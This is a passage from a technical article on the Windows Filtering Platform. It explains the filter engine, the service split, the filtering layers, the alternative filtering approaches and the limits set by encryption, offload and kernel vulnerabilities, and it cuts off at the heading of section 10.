&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Two competing Windows security products coexist on the same host because each one owns its own sublayer, with its own weight neighbourhood. Within a sublayer the BFE picks one winner using &quot;first matching Permit or Block stops evaluation.&quot; Across sublayers the BFE composes those winners using &quot;Block overrides Permit, hard actions are final, soft actions can be overridden.&quot; Pre-Vista, Windows had filters. Post-Vista, Windows has arbitration.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The engine arbitrates filters deterministically and separates condition-match (the filter) from action (the callout). What does the modern surface look like, in 2026, with two decades of features bolted on top?&lt;/p&gt;
&lt;h2&gt;6. The Modern WFP Surface&lt;/h2&gt;
&lt;p&gt;It is 2026. WFP is twenty years old, has never been replaced, and ships under more components than any other Windows networking primitive. Here is what it looks like today.&lt;/p&gt;
&lt;h3&gt;The filter engine and its kernel client&lt;/h3&gt;
&lt;p&gt;The filter engine is the same architectural piece WFP v1 shipped with: a cross-mode classifier whose kernel-mode classification path runs primarily inside &lt;code&gt;NETIO.SYS&lt;/code&gt; and whose user-mode side runs inside the Base Filtering Engine service host process [@wfp-arch][@forshaw-2021]. Callouts and filter consumers do not link against &lt;code&gt;NETIO.SYS&lt;/code&gt;. They link against a different binary.&lt;/p&gt;

The kernel-mode WFP client and export driver. Callout drivers and other kernel components link against `fwpkclnt.lib`, whose in-memory module is `fwpkclnt.sys` [@wfp-arch]. The driver is the API surface that callouts use to register, classify, and call back into the engine. The classification path itself, where filters are matched and actions chosen, runs primarily in `NETIO.SYS`. The shorthand &quot;fwpkclnt.sys *is* the filter engine&quot; is common in blog posts and incorrect; the two binaries do different jobs.
&lt;p&gt;The BFE-vs-MpsSvc split is the second confusion to clear. &lt;code&gt;bfe&lt;/code&gt; is the Base Filtering Engine, the platform service [@wfp-about]. &lt;code&gt;MpsSvc&lt;/code&gt; is the Windows Defender Firewall service, one consumer of the platform. The dependency goes one way: &lt;code&gt;MpsSvc&lt;/code&gt; depends on &lt;code&gt;bfe&lt;/code&gt;; &lt;code&gt;bfe&lt;/code&gt; does not depend on &lt;code&gt;MpsSvc&lt;/code&gt;.You can verify the dependency direction on any running Windows box. &lt;code&gt;Get-Service bfe&lt;/code&gt;, &lt;code&gt;Get-Service mpssvc&lt;/code&gt;, then &lt;code&gt;Get-Service mpssvc | Select-Object -ExpandProperty ServicesDependedOn&lt;/code&gt; will list &lt;code&gt;BFE&lt;/code&gt; (among others); the reverse query on &lt;code&gt;bfe&lt;/code&gt; lists no dependency on &lt;code&gt;mpssvc&lt;/code&gt;. Forshaw&apos;s 2021 post documents the same arrow from the policy side: &quot;MPSSVC converts its ruleset to the lower-level WFP firewall filters and sends them over RPC to the Base Filtering Engine (BFE) service&quot; [@forshaw-2021].&lt;/p&gt;
&lt;h3&gt;Roughly sixty filtering layers&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s &quot;Management Filtering Layer Identifiers&quot; reference enumerates about sixty &lt;code&gt;FWPM_LAYER_*&lt;/code&gt; GUIDs, organised by shim, direction (inbound, outbound, forward), stage (pre-IPsec, post-IPsec, discard), and IP version (v4 / v6) [@wfp-layers]. The reference page is dense, but reading it once teaches the structure. A small sample of representative layers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FWPM_LAYER_INBOUND_IPPACKET_V4&lt;/code&gt; and &lt;code&gt;_V6&lt;/code&gt;. &quot;Located in the receive path just after the IP header of a received packet has been parsed but before any IP header processing takes place. No IPsec decryption or reassembly has occurred&quot; [@wfp-layers]. The earliest visibility a callout has into a received packet.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FWPM_LAYER_OUTBOUND_IPPACKET_V4&lt;/code&gt; and &lt;code&gt;_V6&lt;/code&gt;. The send-path twin.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FWPM_LAYER_IPFORWARD_V4&lt;/code&gt; and &lt;code&gt;_V6&lt;/code&gt;. The routing-decision point on a forwarding host [@wfp-layers].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FWPM_LAYER_INBOUND_TRANSPORT_V4&lt;/code&gt; and &lt;code&gt;_V6&lt;/code&gt;. After the TCP/UDP/ICMP header has been parsed but before payload delivery [@wfp-layers].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FWPM_LAYER_STREAM_V4&lt;/code&gt; and &lt;code&gt;_V6&lt;/code&gt;. The TCP stream layer where reassembled byte streams are visible [@wfp-layers].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FWPM_LAYER_DATAGRAM_DATA_V4&lt;/code&gt; and &lt;code&gt;_V6&lt;/code&gt;. Connectionless data delivery (UDP / ICMP) [@wfp-layers].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET&lt;/code&gt;. Added in Windows 8; the L2 hook the &quot;What&apos;s New&quot; page introduced [@wfp-whatsnew].&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each non-DISCARD layer has a DISCARD twin that fires when the engine has decided to drop a packet at that point. Callouts that need to log drops register at the DISCARD layer; callouts that need to inspect or modify register at the non-DISCARD twin [@wfp-layers].&lt;/p&gt;
&lt;h3&gt;ALE classification&lt;/h3&gt;
&lt;p&gt;The ALE shim sits across seven &lt;code&gt;FWPM_LAYER_ALE_*&lt;/code&gt; filtering layers plus the two redirection layers introduced in the Windows 10 era [@wfp-ale-layers]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RESOURCE_ASSIGNMENT&lt;/code&gt; -- local endpoint assignment (&lt;code&gt;bind&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTH_LISTEN&lt;/code&gt; -- TCP &lt;code&gt;listen&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTH_RECV_ACCEPT&lt;/code&gt; -- inbound TCP accept; inbound UDP/ICMP first datagram.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTH_CONNECT&lt;/code&gt; -- outbound TCP &lt;code&gt;connect&lt;/code&gt;; outbound UDP/ICMP first datagram.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FLOW_ESTABLISHED&lt;/code&gt; -- the stateful &quot;connection now exists&quot; event.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RESOURCE_RELEASE&lt;/code&gt;, &lt;code&gt;ENDPOINT_CLOSURE&lt;/code&gt; -- teardown.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CONNECT_REDIRECT&lt;/code&gt;, &lt;code&gt;BIND_REDIRECT&lt;/code&gt; -- the Windows 10 redirection hooks.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Stateful per-flow context lives in the ALE shim. Application identity at each ALE layer is a normalized file name; user identity is a security descriptor [@wfp-ale]. That pair is what turns &quot;block port 443 outbound&quot; into &quot;block port 443 outbound from &lt;code&gt;chrome.exe&lt;/code&gt; running as user &lt;code&gt;S-1-5-21-...&lt;/code&gt;.&quot;&lt;/p&gt;
&lt;h3&gt;In-box callouts and downstream features&lt;/h3&gt;
&lt;p&gt;The &quot;Built-in Callout Identifiers&quot; reference page enumerates the GUIDs of every in-box callout: the &lt;code&gt;FWPM_CALLOUT_IPSEC_*&lt;/code&gt; family (transport, tunnel, forward-tunnel, inbound-initiate-secure, ALE-connect); &lt;code&gt;FWPM_CALLOUT_WFP_TRANSPORT_LAYER_V4_SILENT_DROP&lt;/code&gt; and &lt;code&gt;_V6_SILENT_DROP&lt;/code&gt;; the &lt;code&gt;FWPM_CALLOUT_TCP_CHIMNEY_*&lt;/code&gt; callouts [@wfp-builtin-callouts]. Microsoft describes the four canonical roles a callout plays: &quot;Deep Inspection... Packet Modification... Stream Modification... Data Logging&quot; [@wfp-callouts].&lt;/p&gt;

A kernel driver that registers one or more callout functions with the filter engine. The engine invokes a callout&apos;s `classifyFn` when a filter at a layer specifies the callout&apos;s GUID as its action [@wfp-filter-engine]. Callouts implement one of four roles: deep inspection (read-only payload examination), packet modification, stream modification, or data logging [@wfp-callouts]. Every third-party network-security product on Windows that runs in the kernel ships a callout driver.
&lt;p&gt;The downstream features are not peers of WFP. They are configurations of it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows Defender Firewall with Advanced Security (WFAS).&lt;/strong&gt; Microsoft Learn names this relationship verbatim: &quot;The firewall application that is built into Windows Vista, Windows Server 2008, and later operating systems Windows Firewall with Advanced Security (WFAS) is implemented using WFP&quot; [@wfp-start]. The &lt;code&gt;MpsSvc&lt;/code&gt; service translates the WFAS rule database into WFP filters that live in the &lt;code&gt;MPSSVC_WSH&lt;/code&gt; provider&apos;s sublayer [@forshaw-2021].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows IPsec.&lt;/strong&gt; The Base Filtering Engine &quot;plumbs configuration settings to other modules in the system. For example, IPsec negotiation polices go to IKE/AuthIP keying modules, filters go to the filter engine&quot; [@wfp-about]. IPsec is not a separate stack; it is a configuration of WFP plus the IKE/AuthIP keying modules.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WinNAT and Windows container networking.&lt;/strong&gt; The PowerShell cmdlet &lt;code&gt;New-NetNat&lt;/code&gt; &quot;creates a Network Address Translation (NAT) object that translates an internal network address to an external network address&quot; [@netnat]; WinNAT, the implementation behind it, registers WFP filters to perform the translation. Windows containers use WinNAT for their default NAT switch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hyper-V Extensible Switch.&lt;/strong&gt; Since Windows 8 / Server 2012, &quot;the Hyper-V extensible switch is supported starting with NDIS 6.30 in Windows Server 2012,&quot; and the switch supports extensible-switch extensions that &quot;bind within the extensible switch driver stack&quot; [@hyperv-extswitch]. WFP filters and callouts can be placed at vSwitch ingress and egress [@wfp-whatsnew].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Microsoft Defender for Endpoint Network Protection.&lt;/strong&gt; The Microsoft Learn page documents the capability: &quot;Network Protection will block connections on all ports (not just 80 and 443)&quot; [@mde-netprot]. The product enforces SmartScreen domain reputation across the entire process tree, not just the browser. The exact WFP-layer registration map is not publicly documented; Section 9 returns to it.&quot;The exact WFP-layer registration map for Microsoft Defender for Endpoint Network Protection is not publicly documented.&quot; This is one of the rare honest-disclosure moments in the WFP story. Microsoft has published the capability [@mde-netprot] but has not published the exact set of &lt;code&gt;FWPM_LAYER_*&lt;/code&gt; identifiers Network Protection registers callouts at. Community reverse engineering knows fragments of the map. Section 9 treats this as an open engineering problem.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Third-party EDR network filters.&lt;/strong&gt; CrowdStrike Falcon, SentinelOne, Cisco Secure Endpoint, ESET, Sophos, and the rest of the EDR vendor list ship WFP callout drivers as the standard kernel-side primitive for network telemetry and policy enforcement. There is no single Microsoft document that lists them. Forshaw&apos;s 2021 Project Zero post is the closest a primary source comes to acknowledging that this is how the industry has settled [@forshaw-2021].&lt;/li&gt;
&lt;/ul&gt;

The textbook reference for WFP architecture is *Windows Internals, Part 2*, 7th edition, by Russinovich, Solomon, Ionescu, Yosifovich, and Allievi (Microsoft Press, 2021) [@windows-internals-7th]. The book&apos;s Networking chapter walks through TCP/IP driver internals and WFP architecture together, including the filter-engine / BFE / shim taxonomy this article has used. Treat the book as the slow-read complement to the Microsoft Learn references; the chapter does not duplicate the Learn pages, it explains why the architecture chose the shape it did. Page numbers vary by printing; cite by chapter heading.
&lt;p&gt;Five downstream features on one engine. So what are the alternatives, if you want to ship a kernel-mode network filter on Windows today and do not want to use WFP?&lt;/p&gt;
&lt;h2&gt;7. Competing Approaches -- LWF, eBPF, Extensible Switch, and the Azure VFP&lt;/h2&gt;
&lt;p&gt;WFP is the L3+ answer. What else is there to attach to?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NDIS Lightweight Filter (LWF).&lt;/strong&gt; The L2 sibling. NDIS 6.0, shipped with Vista, introduced &quot;NDIS filter drivers. Filter drivers can monitor and modify the interaction between protocol drivers and miniport drivers. Filter drivers are easier to implement and have less processing overhead than NDIS intermediate drivers&quot; [@ndis-filter]. LWF is the modern replacement for NDIS 5.x intermediate drivers. It sits below the protocol stack, sees raw Ethernet frames, has no application identity, and is the right choice for raw L2 work: VLAN tagging, EAPoL, packet capture (Npcap, NMNT). Choose LWF over WFP when you need pre-IP visibility and no per-process identity.&lt;/p&gt;

A kernel filter driver registered with NDIS that monitors or modifies the path between a protocol driver and a miniport driver. LWF replaced NDIS 5.x intermediate drivers starting with NDIS 6.0 [@ndis-filter]. LWF drivers see Ethernet frames before any IP processing has happened. They cannot see application identity, since the OS does not yet know which process the frame belongs to.
&lt;p&gt;&lt;strong&gt;Hyper-V Extensible Switch extensions.&lt;/strong&gt; A specialised NDIS LWF profile. NDIS 6.30, Windows Server 2012. &quot;The Hyper-V extensible switch supports an interface that allows instances of NDIS filter drivers (known as extensible switch extensions) to bind within the extensible switch driver stack... The Hyper-V extensible switch is supported starting with NDIS 6.30 in Windows Server 2012&quot; [@hyperv-extswitch]. Extensions come in three roles -- capture, filter, and forwarding -- with one forwarding-extension slot per vSwitch. Choose extensible switch extensions for Hyper-V Network Virtualization, software-defined-networking overlays, or SR-IOV gating.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;eBPF for Windows.&lt;/strong&gt; A Microsoft-sponsored project to bring the Linux eBPF programming model to Windows. The GitHub README describes its scope as letting existing eBPF toolchains and APIs familiar from Linux be used on top of Windows, and frames the project as a work-in-progress [@ebpf-readme]. Three deployment modes: native (&quot;PREVAIL verifier... &lt;code&gt;bpf2c&lt;/code&gt; tool converts every instruction in the bytecode to equivalent C statements... built into a windows driver module (stored in a .sys file)... This is the preferred way of deploying eBPF programs&quot; [@ebpf-readme]); JIT (user-mode service, &quot;with HVCI enabled, eBPF programs cannot be JIT compiled, but can be run in the native mode&quot; [@ebpf-readme]); and interpreter (debug only). The hooks the project exposes (XDP, BIND, SOCK_ADDR, SOCK_OPS, CGROUP_SOCK_ADDR) are the Linux-flavoured analogues of the WFP shim points. The v1.1.0 release, published in March 2026 and labelled &quot;first stable&quot; while still tagged Pre-release, &quot;added hard/soft permit verdicts&quot; to its accept and bind hooks -- explicitly mirroring the WFP &lt;code&gt;FWPS_RIGHT_ACTION_WRITE&lt;/code&gt; model [@ebpf-releases]. The project&apos;s own pages page repeats the work-in-progress framing [@ebpf-pages]. Choose eBPF for Windows for pre-stack DDoS scrubbing or cross-platform observability prototypes; the production-readiness caveat applies.&lt;/p&gt;

A Microsoft-sponsored open-source project that ports the Linux eBPF execution and toolchain to Windows. The native deployment mode compiles eBPF bytecode through PREVAIL verification and the `bpf2c` translator into a signed `.sys` kernel driver, which preserves HVCI compatibility [@ebpf-readme]. As of the v1.1.0 release (March 2026), the project remains tagged Pre-release on GitHub [@ebpf-releases].
&lt;p&gt;&lt;strong&gt;Azure VFP -- a name collision that requires disambiguation.&lt;/strong&gt; The Azure host-SDN data plane, presented by Daniel Firestone at NSDI 2017 [@firestone-nsdi17], is called the Virtual Filtering Platform. Same initials shape as WFP. Different platform. VFP is the programmable virtual switch that runs on every Azure compute host; the NSDI 2017 abstract notes that &quot;VFP has been deployed on &amp;gt;1M hosts running IaaS and PaaS workloads for over 4 years&quot; [@firestone-nsdi17]. It uses match-action tables, layers (the word &quot;layer&quot; appears with a different semantic from WFP&apos;s), Unified Flow Tables, and AccelNet FPGA offload via the Generic Flow Table. VFP ships with Azure, on Azure hosts. It is not customer-buildable on a Windows desktop, and Windows desktop and Server SKUs do not run it. The platforms are unrelated despite the name overlap.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Azure Virtual Filtering Platform (VFP), introduced in Firestone&apos;s NSDI 2017 paper, is the Azure host SDN data plane and shares only an acronym shape with the Windows Filtering Platform [@firestone-nsdi17]. VFP runs on Azure hosts under the Hyper-V Extensible Switch and is the layer that powers SLB, NSGs, AccelNet, and Azure Virtual Network. It is unrelated to the WFP filter engine, BFE, or &lt;code&gt;fwpkclnt.sys&lt;/code&gt;. If the title of your inquiry contains both names, you are almost certainly looking at one or the other; the focus-premise audit in this article&apos;s source notes flagged the original input&apos;s mention of &quot;SecureNAT&quot; as similar terminological drift that led to the wrong product.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Layer / scope&lt;/th&gt;
&lt;th&gt;App identity&lt;/th&gt;
&lt;th&gt;Best for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;WFP callout driver&lt;/td&gt;
&lt;td&gt;L3+ across approximately sixty &lt;code&gt;FWPM_LAYER_*&lt;/code&gt; IDs [@wfp-layers]&lt;/td&gt;
&lt;td&gt;Yes via ALE [@wfp-ale]&lt;/td&gt;
&lt;td&gt;App-aware on-host filtering and EDR telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NDIS LWF&lt;/td&gt;
&lt;td&gt;L2, below the protocol stack [@ndis-filter]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Raw L2: capture, VLAN, EAPoL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hyper-V Extensible Switch ext&lt;/td&gt;
&lt;td&gt;Inside the vSwitch, NDIS 6.30+ [@hyperv-extswitch]&lt;/td&gt;
&lt;td&gt;Per-VM, not per-process&lt;/td&gt;
&lt;td&gt;Hyper-V network virtualization, SDN overlays&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;eBPF for Windows&lt;/td&gt;
&lt;td&gt;XDP / BIND / SOCK_ADDR hooks [@ebpf-readme]&lt;/td&gt;
&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;Pre-stack DDoS, cross-platform observability prototypes (Pre-release)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure VFP&lt;/td&gt;
&lt;td&gt;Azure host SDN; not customer-buildable [@firestone-nsdi17]&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;Azure-host SDN policy (Microsoft-internal)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;None of these displaces WFP for the dominant on-host case (application-identity-aware, IPsec-integrated, stateful, multi-vendor-arbitrated). And all of them share one limit -- a limit that is built into the laws of network physics, not into Microsoft&apos;s roadmap.&lt;/p&gt;
&lt;h2&gt;8. Three Ceilings -- Encryption, Offload, Kernel EoP&lt;/h2&gt;
&lt;p&gt;Three ceilings sit above WFP and every alternative listed above. None is a Microsoft bug. All are structural.&lt;/p&gt;
&lt;h3&gt;The encryption ceiling&lt;/h3&gt;
&lt;p&gt;A WFP callout at the stream layer sees plaintext only if the payload was never encrypted, or if it was encrypted by a key the kernel owns (IPsec).IPsec is the one case where the kernel does hold the keys, because the IKE/AuthIP keying modules that BFE plumbs to are themselves Windows components [@wfp-about]. Every other in-process TLS or QUIC stack keeps its keys away from the kernel. TLS 1.3 and QUIC are end-to-end encrypted from the callout&apos;s point of view; the keys are inside the application&apos;s user-mode TLS library. A callout that registers at &lt;code&gt;FWPM_LAYER_STREAM_V4&lt;/code&gt; and reads bytes off a Chrome HTTPS connection sees ciphertext.&lt;/p&gt;
&lt;p&gt;The case is even sharper for QUIC. QUIC runs over UDP. From the first packet, almost all of the QUIC control plane is encrypted with a key derived from the connection&apos;s initial secret. A datagram-layer callout that wants to inspect the QUIC handshake -- not the payload, just the handshake -- cannot. Microsoft&apos;s own product team has acknowledged the limit in plain English on the Defender for Endpoint Network Protection page:&lt;/p&gt;

Blocking FQDNs in non-Microsoft browsers requires that QUIC and Encrypted Client Hello be disabled in those browsers. -- Microsoft Defender for Endpoint, *Network Protection* [@mde-netprot]
&lt;p&gt;That sentence is the encryption ceiling in Microsoft&apos;s own words. The product can block by 5-tuple (IP, port, protocol). It cannot block by hostname inside an Edge tab over QUIC unless QUIC is disabled in that browser. The limit is information-theoretic: a kernel filter without the session keys cannot read the encrypted payload. No engineering changes in WFP can lift it. The fix lives in the browser or in a user-mode TLS-inspecting proxy.&lt;/p&gt;
&lt;h3&gt;The offload ceiling&lt;/h3&gt;
&lt;p&gt;The second ceiling came from hardware. Modern NICs do work that the kernel used to do, because doing it in hardware is faster. UDP Receive Segment Coalescing Offload, the marquee feature of NDIS 6.89 in Windows 11 24H2, is the cleanest example: &quot;URO enables network interface cards (NICs) to coalesce UDP receive segments. NICs can combine UDP datagrams from the same flow that match a set of rules into a logically contiguous buffer. These combined datagrams are then indicated to the Windows networking stack as a single large packet&quot; [@uro].&lt;/p&gt;
&lt;p&gt;The &quot;logically contiguous buffer&quot; is the problem. A WFP callout written against the pre-URO semantics (&quot;one indication at &lt;code&gt;FWPM_LAYER_DATAGRAM_DATA_V4&lt;/code&gt; is one UDP datagram&quot;) is silently wrong on a system where the NIC has coalesced several datagrams into one Network Buffer List. The callout that needs per-datagram inspection has to read &lt;code&gt;NDIS_UDP_RSC_OFFLOAD_NET_BUFFER_LIST_INFO&lt;/code&gt; to learn the per-flow size and unfold the indication accordingly [@uro]. The mechanical bound is that work the NIC has aggregated has lost its per-packet boundary by the time the kernel sees it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A callout at &lt;code&gt;FWPM_LAYER_DATAGRAM_DATA_V4&lt;/code&gt; or &lt;code&gt;_V6&lt;/code&gt; that assumes &quot;one NBL = one datagram&quot; is silently wrong on Windows 11 24H2 systems with URO-capable NICs. Read the per-flow size from &lt;code&gt;NDIS_UDP_RSC_OFFLOAD_NET_BUFFER_LIST_INFO&lt;/code&gt; and iterate. The change is documented in the URO reference page [@uro], but legacy callouts written before NDIS 6.89 will need an explicit audit.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The same shape repeats for TCP segmentation offload (TSO, LSO), receive offload (LRO, GRO), and TLS / IPsec / RDMA / VxLAN / GENEVE offload. Each one moves work to hardware. Each one weakens the kernel-filter assumption that &quot;every packet flows past every layer.&quot;&lt;/p&gt;
&lt;h3&gt;The kernel attack surface&lt;/h3&gt;
&lt;p&gt;The third ceiling is the one that drives the CVE cadence. Every callout is a kernel module [@wfp-callouts]. Every byte that crosses the &lt;code&gt;Fwpm*&lt;/code&gt; user-to-kernel boundary is a potential primitive for an elevation-of-privilege exploit [@nvd-2023-29368][@nvd-2024-38034]. CVE-2023-29368, published June 14, 2023, is a CWE-415 double-free in the WFP code path with a CVSS base of 7.0 (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H), an exploitability sub-score of 1.0, and an impact sub-score of 5.9 [@nvd-2023-29368]. CVE-2024-38034, published July 9, 2024, is a CWE-190 integer overflow in the same family of code paths with a CVSS base of 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), an exploitability sub-score of 1.8, and an impact sub-score of 5.9 [@nvd-2024-38034].&lt;/p&gt;
&lt;p&gt;The CVSS vector difference is worth reading carefully.The 2024 vulnerability&apos;s attack-complexity dropped from &lt;code&gt;AC:H&lt;/code&gt; to &lt;code&gt;AC:L&lt;/code&gt;. The exploitability sub-score rose from 1.0 to 1.8 over the same window. The 2024 bug is easier to weaponise [@nvd-2023-29368][@nvd-2024-38034]. Without speculating about the trend across a longer time series, the direction of travel between these two anchor CVEs is &quot;down, not up.&quot;&lt;/p&gt;
&lt;p&gt;There is a structural variant of the same story that does not require any memory-safety bug at all. In August 2021, Forshaw published a Project Zero post titled &quot;Understanding Network Access in Windows AppContainers.&quot; The post documents a default-WFP-policy configuration that allows certain low-privilege AppContainer processes to reach the network without any of the capability SIDs (&lt;code&gt;internetClient&lt;/code&gt;, &lt;code&gt;internetClientServer&lt;/code&gt;, &lt;code&gt;privateNetworkClientServer&lt;/code&gt;) that the AppContainer documentation suggests are required [@forshaw-2021]. The associated Project Zero issue, 2207, was marked WontFix by Microsoft; the press coverage at SecurityAffairs reproduces the advisory body verbatim: &quot;The default rules for the WFP connect layers permit certain executables to connect TCP sockets in AppContainers without capabilities leading to elevation of privilege... Eventually an AC process will match the &apos;Block Outbound Default Rule&apos; rule if nothing else has which will block any connection attempt&quot; [@securityaffairs-2021]. The bug is a policy composition bug, not a code bug. It exists in the way the in-box sublayers, filter weights, and default rules interact -- which is precisely the surface this article spent Section 5 explaining.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; WFP&apos;s hardest limits are not engineering choices Microsoft can rewrite. They are information-theoretic (a kernel filter without session keys cannot read what is encrypted), mechanical (hardware offloads exist to amortise work the kernel filter would have done, and aggregation destroys per-packet ground truth), and structural (every callout is a kernel module, and every &lt;code&gt;Fwpm*&lt;/code&gt; call crosses a user-to-kernel ABI). The BFE elevation-of-privilege CVE class is the running cost of a platform sophisticated enough to host every downstream feature Windows ships.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Three ceilings. Is there a structural fix for any of them, or is this what the platform looks like forever?&lt;/p&gt;
&lt;h2&gt;9. Open Problems -- Where the Engineering Lives&lt;/h2&gt;
&lt;p&gt;Six questions are live right now. None of them has a clean answer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUIC inspection in the kernel.&lt;/strong&gt; The current best partial result is to block QUIC by 5-tuple and rely on a browser&apos;s HTTP/3 fallback to TLS over TCP, where in-box inspection still works. The Defender for Endpoint Network Protection page documents the workaround verbatim: &quot;Blocking FQDNs in non-Microsoft browsers requires that QUIC and Encrypted Client Hello be disabled in those browsers&quot; [@mde-netprot]. Anything deeper than 5-tuple inspection on QUIC requires a user-mode proxy that terminates the QUIC connection and re-originates it, which moves the problem out of WFP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft Defender for Endpoint&apos;s exact WFP-layer registration map.&lt;/strong&gt; Publicly undocumented. Microsoft has published the capability and the limitations [@mde-netprot] but not the precise set of &lt;code&gt;FWPM_LAYER_*&lt;/code&gt; GUIDs that Network Protection registers callouts at. Community reverse engineering knows fragments. A definitive map would let third-party EDR vendors avoid sublayer-priority conflicts with Defender. Whether Microsoft publishes one is a product-roadmap question.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The structural shape of the BFE EoP CVE class.&lt;/strong&gt; Is the BFE elevation-of-privilege CVE class -- CWE-415 in 2023 [@nvd-2023-29368], CWE-190 in 2024 [@nvd-2024-38034], no public impossibility theorem either way -- tail risk inherent to the platform&apos;s policy-from-user-mode-to-kernel design, or is it addressable by an architectural fix (&lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;HVCI&lt;/a&gt; hardening on &lt;code&gt;fwpkclnt.sys&lt;/code&gt; callout paths, bounded ABI contracts on the &lt;code&gt;Fwpm*&lt;/code&gt; surface, Rust-in-Windows-kernel for new callout drivers)? The honest answer is that this is open. The integer-overflow / use-after-free class is the canonical attack surface of any user-to-kernel ABI; the question is whether Microsoft commits to a structural fix or to tail-risk-mitigation-plus-patching.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;eBPF for Windows production readiness.&lt;/strong&gt; Does it displace WFP for new kernel-mode network filters, or does it stay adjacent? The v1.1.0 release in March 2026 was framed as &quot;first stable&quot; while still labelled Pre-release [@ebpf-releases]. The same release added hard/soft permit verdicts to its accept and bind hooks, explicitly mirroring &lt;code&gt;FWPS_RIGHT_ACTION_WRITE&lt;/code&gt; in WFP [@ebpf-releases]. That borrowing is a tell -- the project is converging on the WFP arbitration semantics, which suggests the long-term picture is &quot;eBPF for Windows alongside WFP&quot; rather than &quot;eBPF replaces WFP.&quot; The market answer is unsettled.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows Defender Application Guard&apos;s egress-isolation pattern after WDAG deprecation.&lt;/strong&gt; WDAG for Edge used a WFP-backed egress-isolation pattern to route browsing-container traffic out of an isolated network compartment. The WDAG product surface is being phased out -- Microsoft has documented that &quot;Microsoft Defender Application Guard... is deprecated for Microsoft Edge for Business and will no longer be updated. Starting with Windows 11, version 24H2, Microsoft Defender Application Guard... is no longer available&quot; [@mdag-deprecation]. The pattern&apos;s future on Windows -- in containers, virtualization-based security profiles, or some successor -- is undocumented as of the time of writing. Treat this paragraph as conjectural until Microsoft publishes a successor pattern.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NIC offload composability with kernel firewalls.&lt;/strong&gt; As more pipeline elements move into the NIC -- TSO, LSO, GRO/GSO, URO [@uro], TLS offload, IPsec offload, RDMA, VxLAN, GENEVE -- the assumption that every packet flows past every WFP layer weakens. A callout that registers at &lt;code&gt;FWPM_LAYER_INBOUND_TRANSPORT_V4&lt;/code&gt; may never see a packet whose transport-layer work happened entirely on the NIC. The kernel-firewall design that grew up assuming software ground truth has to renegotiate that assumption release by release. NDIS 6.89&apos;s URO is the most recent example [@ndis-689]; there will be more.&lt;/p&gt;

&quot;Open&quot; in this section means engineering-open, not theory-open. There is no published impossibility theorem stating that WFP cannot be made provably safe against integer-overflow elevation-of-privilege, or that a kernel firewall cannot inspect encrypted traffic with a key-disclosure protocol, or that NIC offloads cannot be composed with kernel-side filters by sharing flow state. The practical question, in every case, is whether Microsoft and the broader Windows community invest in the structural fix or settle for tail-risk-mitigation plus patching. The answer in 2026 is &quot;mostly the latter.&quot;
&lt;p&gt;Six open problems. Now, how do you actually use the platform that has been the subject of this article?&lt;/p&gt;
&lt;h2&gt;10. The Four Ways You Touch WFP&lt;/h2&gt;
